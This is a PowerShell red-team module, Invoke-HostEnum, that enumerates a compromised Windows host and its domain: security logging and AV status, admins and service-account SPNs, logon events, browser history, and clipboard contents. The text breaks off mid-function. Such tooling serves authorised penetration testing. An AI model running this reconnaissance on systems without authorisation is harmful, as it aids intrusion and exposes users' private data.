HostEnum.psm1
<# Use: Import-Module -Name .\HostEnum.psm1 -Force Invoke-HostEnum @andrewchiles https://github.com/threatexpress/red-team-scripts Future Additions ------------------ Re-work registry checking functions similar to Get-HostProfile LLMNR and NetBIOS over TCP/IP Settings RDP Settings HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server StickyNotes Win10 - %UserProfile%\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite Win7 - C:\Users\Username\AppData\Roaming\Microsoft\StickyNotes\StickyNotes.snt Tanium https://docs.tanium.com/client/client/troubleshooting.html 64-bit C:\Program Files (x86)\Tanium\Tanium Client\TaniumClient.exe 32-bit C:\Program Files\Tanium\Tanium Client\TaniumClient.exe 32-bit HKEY_LOCAL_MACHINE\Software\Tanium\Tanium Client 64-bit HKEY_LOCAL_MACHINE\Software\Wow6432Node\Tanium\Tanium Client Windows Event Forwarding registry::HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager" Add https://github.com/sekirkity/BrowserGather.git User IdleTime https://stackoverflow.com/questions/15845508/get-idle-time-of-machine #> #requires -version 2 function Invoke-HostEnum { <# .SYNOPSIS Performs local host and/or domain enumeration for situational awareness Author: Andrew Chiles (@andrewchiles) leveraging functions by @mattifestation, @harmj0y, @tifkin_, Joe Bialek, rvrsh3ll, Beau Bullock, and Tim Medin License: BSD 3-Clause Depenencies: None Requirements: None https://github.com/threatexpress/red-team-scripts .DESCRIPTION A compilation of multiple system enumeration / situational awareness techniques collected over time. If system is a member of a domain, it can perform additional enumeration. However, the included domain enumeration is limited with the intention that PowerView, BoodHound, etc will be also be used. Report HTML file is written in the format of YYYYMMDD_HHMMSS_HOSTNAME.html in the current working directory. Invoke-HostEnum is Powershell 2.0 compatible to ensure it functions on the widest variety of Windows targets Enumerated Information: - OS Details, Hostname, Uptime, Installdate - Installed Applications and Patches - Network Adapter Configuration, Network Shares, Listening Ports, Connections, Routing Table, DNS Cache, Firewall Status - Running Processes and Installed Services - Interesting Registry Entries - Local Users, Groups, Administrators - Personal Security Product Status, AV Processes - Interesting file locations and keyword searches via file indexing - Interesting Windows Logs (User logins) - Basic Domain enumeration (users, groups, trusts, domain controllers, account policy, SPNs) .PARAMETER All Executes Local, Domain, and Privesc functions .PARAMETER Local Executes the local enumeration functions .PARAMETER Domain Executes the domain enumeration functions .PARAMETER Privesc Executes modified version of PowerUp privilege escalation enumeration (Invoke-AllChecks) .PARAMETER Quick Executes a brief initial survey that may be useful when initially accessing a host Only enumerates basic system info, processes, av, network adapters, firewall state, network connections, users, and groups Note: Not usable with -HTMLReport .PARAMETER HTMLReport Creates an HTML Report of enumeration results .PARAMETER Verbose Enables verbosity (Leverages Write-Verbose and output may differ depending on the console/agent you're using) .EXAMPLE PS C:\> Invoke-HostEnum -Local -HTMLReport -Verbose Performs local system enumeration with verbosity and writes output to a HTML report .EXAMPLE PS C:\> Invoke-HostEnum -Domain -HTMLReport Performs domain enumeration using net commands and saves the output to the current directory .EXAMPLE PS C:\> Invoke-HostEnum -Local -Domain Performs local and domain enumeration functions and outputs the results to the console .LINK https://github.com/threatexpress/red-team-scripts #> [CmdletBinding()] Param( [Switch]$All, [Switch]$Local, [Switch]$Domain, [Switch]$Quick, [Switch]$Privesc, [Switch]$HTMLReport ) # Ignore Errors and don't print to screen unless specified otherwise when calling Functions $ErrorActionPreference = "SilentlyContinue" # $All switch runs Local, Domain, and Privesc checks If ($All) {$Local = $True; $Domain = $True; $Privesc = $True} ### Begin Main Execution $Time = (Get-Date).ToUniversalTime() [string]$StartTime = $Time|Get-Date -uformat %Y%m%d_%H%M%S # Create filename for HTMLReport If ($HTMLReport) { [string]$Hostname = $ENV:COMPUTERNAME [string]$FileName = $StartTime + '_' + $Hostname + '.html' $HTMLReportFile = (Join-Path $PWD $FileName) # Header for HTML table formatting $HTMLReportHeader = @" <style> TABLE {border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;} TH {border-width: 1px;padding: 3px;border-style: solid;border-color: black;background-color: #6495ED;} TD {border-width: 1px;padding: 3px;border-style: solid;border-color: black;font-family:courier;} TR:Nth-Child(Even) {Background-Color: #dddddd;} .odd { background-color:#ffffff; } .even { background-color:#dddddd; } </style> <style> .aLine { border-top:1px solid #6495ED}; height:1px; margin:16px 0; } </style> <title>System Report</title> "@ # Attempt to write out HTML report header and exit if there isn't sufficient permission Try { ConvertTo-HTML -Title "System Report" -Head $HTMLReportHeader ` -Body "<H1>System Enumeration Report for $($Env:ComputerName) - $($Env:UserName)</H1>`n<div class='aLine'></div>" ` | Out-File $HTMLReportFile -ErrorAction Stop } Catch { "`n[-] Error writing enumeration output to disk! Check your permissions on $PWD.`n$($Error[0])`n"; Return } } # Print initial execution status "[+] Invoke-HostEnum" "[+] STARTTIME:`t$StartTime" "[+] PID:`t$PID`n" # Check user context of Powershell.exe process and alert if running as SYSTEM $IsSystem = [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem If ($IsSystem) { "`n[*] Warning: Enumeration is running as SYSTEM and some enumeration techniques (Domain and User-context specific) may fail to yield desired results!`n" If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Note: Enumeration performed as 'SYSTEM' and report may contain incomplete results!</H2>" -as list | Out-File -Append $HTMLReportFile } } # Execute a quick system survey If ($Quick) { Write-Verbose "Performing quick enumeration..." "`n[+] Host Summary`n" $Results = Get-Sysinfo $Results | Format-List "`n[+] Running Processes`n" $Results = Get-ProcessInfo $Results | Format-Table ID, Name, Owner, Path -auto -wrap "`n[+] Installed AV Product`n" $Results = Get-AVInfo $Results | Format-List "`n[+] Potential AV Processes`n" $Results = Get-AVProcesses $Results | Format-Table -Auto "`n[+] Installed Software:`n" $Results = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation if ((Get-WmiObject Win32_OperatingSystem).OSArchitecture -eq "64-bit") { $Results += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation } $Results = $Results | Where-Object {$_.DisplayName} | Sort-Object DisplayName $Results | Format-Table -Auto -Wrap "`n[+] System Drives:`n" $Results = Get-PSDrive -psprovider filesystem | Select-Object Name, Root, Used, Free, Description, CurrentLocation $Results | Format-Table -auto "`n[+] Active TCP Connections:`n" $Results = Get-ActiveTCPConnections | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, IPVersion $Results | Format-Table -auto "`n[+] Firewall Status:`n" $Results = Get-FirewallStatus $Results | Format-Table -auto "`n[+] Local Users:`n" $Results = Get-WmiObject -Class Win32_UserAccount -Filter "Domain='$($env:ComputerName)'" | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description | Sort-Object SID -Descending $Results | Format-Table -auto -wrap "`n[+] Local Administrators:`n" $Results = Get-WmiObject -Class Win32_groupuser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='Administrators'""" | % {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description "`n[+] Local Groups:`n" $Results = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object Name,SID,Description $Results | Format-Table -auto -wrap "`n[+] Group Membership for ($($env:username))`n" $Results = Get-UserGroupMembership | Sort-Object SID $Results | Format-Table -Auto } # Execute local system enumeration functions If ($Local) { # Execute local enumeration functions and format for report "`n[+] Host Summary`n" $Results = Get-Sysinfo $Results | Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Host Summary</H2>" -as list | Out-File -Append $HTMLReportFile } # Get Installed software, check for 64-bit applications "`n[+] Installed Software:`n" $Results = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation if ((Get-WmiObject Win32_OperatingSystem).OSArchitecture -eq "64-bit") { $Results += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation } $Results = $Results | Where-Object {$_.DisplayName} | Sort-Object DisplayName $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed Software</H2>" | Out-File -Append $HTMLReportFile } # Get installed patches "`n[+] Installed Patches:`n" $Results = Get-WmiObject -class Win32_quickfixengineering | Select-Object HotFixID,Description,InstalledBy,InstalledOn | Sort-Object InstalledOn -Descending $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed Patches</H2>" | Out-File -Append $HTMLReportFile } # Process Information "`n[+] Running Processes`n" $Results = Get-ProcessInfo $Results | Format-Table ID, Name, Owner, Path, CommandLine -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Property ID, Name, Owner, MainWindowTitle, Path, CommandLine -PreContent "<H2>Process Information</H2>" | Out-File -Append $HTMLReportFile } # Services "`n[+] Installed Services:`n" $Results = Get-WmiObject win32_service | Select-Object Name, DisplayName, State, PathName $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed Services</H2>" | Out-File -Append $HTMLReportFile } # Environment variables "`n[+] Environment Variables:`n" $Results = Get-Childitem -path env:* | Select-Object Name, Value | Sort-Object name $Results |Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Environment Variables</H2>"| Out-File -Append $HTMLReportFile } # BIOS information "`n[+] BIOS Information:`n" $Results = Get-WmiObject -Class win32_bios |Select-Object SMBIOSBIOSVersion, Manufacturer, Name, SerialNumber, Version $Results | Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>BIOS Information</H2>" -as List| Out-File -Append $HTMLReportFile } # Physical Computer Information "`n[+] Computer Information:`n" $Results = Get-WmiObject -class Win32_ComputerSystem | Select-Object Domain, Manufacturer, Model, Name, PrimaryOwnerName, TotalPhysicalMemory, @{Label="Role";Expression={($_.Roles) -join ","}} $Results | Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Physical Computer Information</H2>" -as List | Out-File -Append $HTMLReportFile } # System Drives (Returns mapped drives too, but not their associated network path) "`n[+] System Drives:`n" $Results = Get-PSDrive -psprovider filesystem | Select-Object Name, Root, Used, Free, Description, CurrentLocation $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>System Drives</H2>" | Out-File -Append $HTMLReportFile } # Mapped Network Drives "`n[+] Mapped Network Drives:`n" $Results = Get-WmiObject -Class Win32_MappedLogicalDisk | Select-Object Name, Caption, VolumeName, FreeSpace, ProviderName, FileSystem $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Mapped Network Drives</H2>" | Out-File -Append $HTMLReportFile } ## Local Network Configuration # Network Adapters "`n[+] Network Adapters:`n" $Results = Get-WmiObject -class Win32_NetworkAdapterConfiguration | Select-Object Description,@{Label="IPAddress";Expression={($_.IPAddress) -join ", "}},@{Label="IPSubnet";Expression={($_.IPSubnet) -join ", "}},@{Label="DefaultGateway";Expression={($_.DefaultIPGateway) -join ", "}},MACaddress,DHCPServer,DNSHostname | Sort-Object IPAddress -descending $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Network Adapters</H2>" | Out-File -Append $HTMLReportFile } # DNS Cache "`n[+] DNS Cache:`n" $Results = Get-WmiObject -query "Select * from MSFT_DNSClientCache" -Namespace "root\standardcimv2" | Select-Object Entry, Name, Data $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>DNS Cache</H2>" | Out-File -Append $HTMLReportFile } # Network Shares "`n[+] Network Shares:`n" $Results = Get-WmiObject -class Win32_Share | Select-Object Name, Path, Description, Caption, Status $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Network Shares</H2>" | Out-File -Append $HTMLReportFile } # TCP Network Connections "`n[+] Active TCP Connections:`n" $Results = Get-ActiveTCPConnections | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, IPVersion $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Active TCP Connections</H2>" | Out-File -Append $HTMLReportFile } # IP Listeners "`n[+] TCP/UDP Listeners:`n" $Results = Get-ActiveListeners |Where-Object {$_.ListeningPort -LT 50000}| Select-Object Protocol, LocalAddress, ListeningPort, IPVersion $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>TCP/UDP Listeners</H2>" | Out-File -Append $HTMLReportFile } # Firewall Status "`n[+] Firewall Status:`n" $Results = Get-FirewallStatus $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Firewall Status</H2>" | Out-File -Append $HTMLReportFile } # WMI Routing Table "`n[+] Routing Table:`n" $Results = Get-WmiObject -class "Win32_IP4RouteTable" -namespace "root\CIMV2" |Select-Object Destination, Mask, Nexthop, InterfaceIndex, Metric1, Protocol, Type $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Routing Table</H2>" | Out-File -Append $HTMLReportFile } # WMI Net Sessions "`n[+] Net Sessions:`n" $Results = Get-WmiObject win32_networkconnection | Select-Object LocalName, RemoteName, RemotePath, Name, Status, ConnectionState, Persistent, UserName, Description $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Network Sessions</H2>" | Out-File -Append $HTMLReportFile } # Proxy Information "`n[+] Proxy Configuration:`n" $regkey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" $Results = New-Object -TypeName PSObject -Property @{ Enabled = If ((Get-ItemProperty -Path $regkey).proxyEnable -eq 1) {"True"} else {"False"} ProxyServer = (Get-ItemProperty -Path $regkey).proxyServer AutoConfigURL = (Get-ItemProperty -Path $regkey).AutoConfigUrl } $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Proxy Configuration</H2>" | Out-File -Append $HTMLReportFile } ## Local User and Group Enumeration ####################### # Local User Accounts "`n[+] Local users:`n" $Results = Get-WmiObject -Class Win32_UserAccount -Filter "Domain='$($env:ComputerName)'" | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description | Sort-Object SID -Descending $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Users</H2>" | Out-File -Append $HTMLReportFile } # Local Administrators "`n[+] Local Administrators:`n" $Results = Get-WmiObject -Class Win32_groupuser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='Administrators'""" | % {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description $Results | Format-Table -auto -wrap If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Administrators</H2>" | Out-File -Append $HTMLReportFile } # Local Groups "`n[+] Local Groups:`n" $Results = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object Name,SID,Description $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Groups</H2>" | Out-File -Append $HTMLReportFile } # Fix this # Local Group Membership (Work in progress) Need to fix regex parsing "`n[+] Local Group Membership:`n" $Groups = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object -expand Name Foreach ($Group in $Groups) { $results = $Null $Results = Get-WmiObject -Class Win32_groupuser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='$Group'""" | % {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description "[+] $Group - Members" $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Local Group Membership - $Group</H2>" | Out-File -Append $HTMLReportFile } } #$Results = $Groups | % {Get-WmiObject -Class Win32_GroupUser -Filter "GroupComponent=""Win32_Group.Domain='$env:COMPUTERNAME',Name='$_'""" | #% {[wmi]$_.PartComponent} | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description} # Explicit Logon Events (Requires admin) "`n[+] Explicit Logon Events (4648) - Last 10 Days:`n" $Results = Get-ExplicitLogonEvents -Days 10 | Select TimeCreated,TargetUserName,TargetDomainName,ProcessName,SubjectUserName,SubjectDomainName | Sort-Object TimeCreated $Results | Format-Table -auto -wrap If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Explicit Logon Events (4648) - Last 10 Days</H2>" | Out-File -Append $HTMLReportFile } # Logon Events (Requires admin) "`n[+] Logon Events (4624) - Last 200 Events:`n" # Filter out NT Authority and Machine logons $Results = Get-LogonEvents -MaxEvents 200 | Where-Object {$_.Target -NotLike "NT AUTHORITY*" -and $_.Target -NotLike "*$"} |Sort-Object TimeCreated $Results | Format-Table -auto -wrap If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Logon Events (4624) - Last 200 Events</H2>" | Out-File -Append $HTMLReportFile } ## AV Products ######################### "`n[+] Installed AV Product`n" $Results = Get-AVInfo $Results | Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Installed AV Product</H2>" -as list | Out-File -Append $HTMLReportFile } # Potential Running AV Processes "`n[+] Potential AV Processes`n" $Results = Get-AVProcesses $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Potential AV Processes</H2>" | Out-File -Append $HTMLReportFile } # If McAfee is installed then pull some recent logs If ($Results.displayName -Match "mcafee") { $Results = Get-McafeeLogs $Results |Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Recent McAfee AV Logs</H2>" -as list | Out-File -Append $HTMLReportFile } } ## Interesting Locations ############################# "`n[+] Registry Keys`n" $Results = Get-InterestingRegistryKeys $Results If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Interesting Registry Keys</H2>`n<table><tr><td><PRE>$Results</PRE></td></tr></table>" -as list | Out-File -Append $HTMLReportFile } # Interesting File Search (String formatted due to odd formatting issues with file listings) "`n[+] Interesting Files:`n" $Results = Get-InterestingFiles $Results If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Interesting Files</H2>`n<table><tr><td><PRE>$Results</PRE></td></tr></table>" | Out-File -Append $HTMLReportFile } ## Current User Enumeration ############################ # Group Membership for Current User "`n[+] Group Membership - $($Env:UserName)`n" $Results = Get-UserGroupMembership | Sort-Object SID $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Group Membership - $($env:username)</H2>"| Out-File -Append $HTMLReportFile } # Browser History (IE, Firefox, Chrome) "`n[+] Browser History`n" $Results = Get-BrowserInformation | Where-Object{$_.Data -NotMatch "google" -And $_.Data -NotMatch "microsoft" -And $_.Data -NotMatch "chrome" -And $_.Data -NotMatch "youtube" } $Results | Format-Table Browser, DataType, User, Data -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -Property Browser, DataType, User, Data, Name -PreContent "<H2>Browser History</H2>" | Out-File -Append $HTMLReportFile } # Open IE Tabs "`n[+] Active Internet Explorer URLs - $($Env:UserName)`n" $Results = Get-ActiveIEURLS $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Active Internet Explorer URLs - $($Env:UserName)</H2>" | Out-File -Append $HTMLReportFile } # Recycle Bin Files "`n`n[+] Recycle Bin Contents - $($Env:UserName)`n" $Results = Get-RecycleBin $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Recycle Bin Contents - $($Env:UserName)</H2>" | Out-File -Append $HTMLReportFile } # Clipboard Contents Add-Type -Assembly PresentationCore "`n[+] Clipboard Contents - $($Env:UserName):`n" $Results = '' $Results = ([Windows.Clipboard]::GetText()) -join "`r`n" | Out-String $Results If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Clipboard Contents - $($Env:UserName)</H2><table><tr><td><PRE>$Results</PRE></td></tr></table>"| Out-File -Append $HTMLReportFile } } # Simple Domain Enumeration If ($Domain) { If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H1>Domain Report - $($env:USERDOMAIN)</H1><div class='aLine'></div>" | Out-File -Append $HTMLReportFile } # Check if host is part of a domain before executing domain enumeration functions If ((gwmi win32_computersystem).partofdomain){ Write-Verbose "Enumerating Windows Domain..." "`n[+] Domain Mode`n" $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).DomainMode $Results If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Domain Mode: $Results</H2>" | Out-File -Append $HTMLReportFile } # DA Level Accounts "`n[+] Domain Administrators`n" $Results = Get-DomainAdmins $Results If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Domain Administrators</H2><table><tr><td><PRE>$Results</PRE></td></tr></table>" | Out-File -Append $HTMLReportFile } # Domain account password policy "`n[+] Domain Account Policy`n" $Results = Get-DomainAccountPolicy $Results | Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Account Policy</H2>" -as List | Out-File -Append $HTMLReportFile } # Domain Controllers "`n[+] Domain Controllers:`n" $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).DomainControllers | Select-Object Name,OSVersion,Domain,Forest,SiteName,IpAddress $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Controllers</H2>" | Out-File -Append $HTMLReportFile } # Domain Trusts "`n[+] Domain Trusts:`n" $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() $Results | Format-List If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Trusts</H2>" -as List | Out-File -Append $HTMLReportFile } # Domain Users "`n[+] Domain Users:`n" $Results = Get-WmiObject -Class Win32_UserAccount | Select-Object Name,Caption,SID,Fullname,Disabled,Lockout,Description |Sort-Object SID $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Users</H2>" | Out-File -Append $HTMLReportFile } # Domain Groups "`n[+] Domain Groups:`n" $Results = Get-WmiObject -Class Win32_Group | Select-Object Name,SID,Description | Sort-Object SID $Results | Format-Table -Auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>Domain Groups</H2>" | Out-File -Append $HTMLReportFile } # Domain Admins, Enterprise Admins, Server Admins, Backup Operators # Get User SPNS "`n[+] User Account SPNs`n" $Results = $null $Results = Get-UserSPNS -UniqueAccounts | Sort-Object PasswordLastSet -Ascending -Unique $Results | Format-Table -auto If ($HTMLReport) { $Results | ConvertTo-HTML -Fragment -PreContent "<H2>User Account SPNs</H2>" | Out-File -Append $HTMLReportFile } } Else { "`n[-] Host is not a member of a domain. Skipping domain checks...`n" If ($HTMLReport) { ConvertTo-HTML -Fragment -PreContent "<H2>Host is not a member of a domain. Domain checks skipped.</H2>" | Out-File -Append $HTMLReportFile } } } # Privilege Escalation Enumeration If ($Privesc) { If ($HTMLReport) { Invoke-AllChecks -HTMLReport } Else { Invoke-AllChecks } } # Determine the execution duration $Duration = New-Timespan -start $Time -end ((Get-Date).ToUniversalTime()) # Print report location and finish execution "`n" If ($HTMLReport) { "[+] FILE:`t$HTMLReportFile" "[+] FILESIZE:`t$((Get-Item $HTMLReportFile).length) Bytes" } "[+] DURATION:`t$Duration" "[+] Invoke-HostEnum complete!" } function Get-SysInfo { <# .SYNOPSIS Gets basic system information from the host #> $os_info = gwmi Win32_OperatingSystem $uptime = [datetime]::ParseExact($os_info.LastBootUpTime.SubString(0,14), "yyyyMMddHHmmss", $null) $uptime = (Get-Date).Subtract($uptime) $uptime = ("{0} Days, {1} Hours, {2} Minutes, {3} Seconds" -f ($uptime.Days, $uptime.Hours, $uptime.Minutes, $uptime.Seconds)) $date = Get-Date $IsHighIntegrity = [bool]([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") $SysInfoHash = @{ HOSTNAME = $ENV:COMPUTERNAME IPADDRESSES = (@([System.Net.Dns]::GetHostAddresses($ENV:HOSTNAME)) | %{$_.IPAddressToString}) -join ", " OS = $os_info.caption + ' ' + $os_info.CSDVersion ARCHITECTURE = $os_info.OSArchitecture "DATE(UTC)" = $date.ToUniversalTime()| Get-Date -uformat "%Y%m%d%H%M%S" "DATE(LOCAL)" = $date | Get-Date -uformat "%Y%m%d%H%M%S%Z" INSTALLDATE = $os_info.InstallDate UPTIME = $uptime USERNAME = $ENV:USERNAME DOMAIN = (GWMI Win32_ComputerSystem).domain LOGONSERVER = $ENV:LOGONSERVER PSVERSION = $PSVersionTable.PSVersion.ToString() PSCOMPATIBLEVERSIONS = ($PSVersionTable.PSCompatibleVersions) -join ', ' PSSCRIPTBLOCKLOGGING = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -EA 0).EnableScriptBlockLogging -eq 1){"Enabled"} Else {"Disabled"} PSTRANSCRIPTION = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -EA 0).EnableTranscripting -eq 1){"Enabled"} Else {"Disabled"} PSTRANSCRIPTIONDIR = (Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -EA 0).OutputDirectory PSMODULELOGGING = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -EA 0).EnableModuleLogging -eq 1){"Enabled"} Else {"Disabled"} LSASSPROTECTION = If((Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -EA 0).RunAsPPL -eq 1){"Enabled"} Else {"Disabled"} LAPS = If((Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft Services\AdmPwd" -EA 0).AdmPwdEnabled -eq 1){"Enabled"} Else {"Disabled"} UAC = If((Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -EA 0).EnableLUA -eq 1){"Enabled"} Else {"Disabled"} # LocalAccountTokenFilterPolicy = 1 disables local account token filtering UACTOKENFILTERING = If((Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -EA 0).LocalAccountTokenFilterPolicy -eq 1){"Disabled (PTH likely w/ local admins)"} Else {"Enabled"} UACFILTERADMINTOKEN = If((Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System -EA 0).FilterAdministratorToken -eq 1){"Enabled (RID500 protected)"} Else {"Disabled"} HIGHINTEGRITY = $IsHighIntegrity DENYRDPCONNECTIONS = [bool](Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -EA 0).FDenyTSConnections } # PS feels the need to randomly re-order everything when converted to an object so let's presort New-Object -TypeName PSobject -Property $SysInfoHash | Select-Object Hostname, OS, Architecture, "Date(UTC)", "Date(Local)", InstallDate, UpTime, IPAddresses, Domain, Username, LogonServer, PSVersion, PSCompatibleVersions, PSScriptBlockLogging, PSTranscription, PSTranscriptionDir, PSModuleLogging, LSASSProtection, LAPS, UAC, UACTOKENFILTERING, UACFILTERADMINTOKEN, HIGHINTEGRITY } function Get-ProcessInfo() { <# .SYNOPSIS Gets detailed process information via WMI #> # Extra work here to include process owner and commandline using WMI Write-Verbose "Enumerating running processes..." $owners = @{} $commandline = @{} gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} gwmi win32_process |% {$commandline[$_.handle] = $_.commandline} $procs = Get-Process | Sort-Object -property ID $procs | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "Owner" -Value $owners[$_.id.tostring()] -force} $procs | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "CommandLine" -Value $commandline[$_.id.tostring()] -force} Return $procs } function Get-UserGroupMembership { <# .SYNOPSIS Pulls local group membership for the current user #> Write-Verbose "Enumerating current user local group membership..." $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $CurrentUserSids = $UserIdentity.Groups | Select-Object -expand value $Groups = ForEach ($sid in $CurrentUserSids) { $SIDObj = New-Object System.Security.Principal.SecurityIdentifier("$sid") $GroupObj = New-Object -TypeName PSObject -Property @{ SID = $sid GroupName = $SIDObj.Translate([System.Security.Principal.NTAccount]) } $GroupObj } $Groups } function Get-ActiveTCPConnections { <# .SYNOPSIS Enumerates active TCP connections for IPv4 and IPv6 Adapted from Beau Bullock's TCP code https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1 #> Write-Verbose "Enumerating active network connections..." $IPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() $Connections = $IPProperties.GetActiveTcpConnections() foreach($Connection in $Connections) { if($Connection.LocalEndPoint.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } 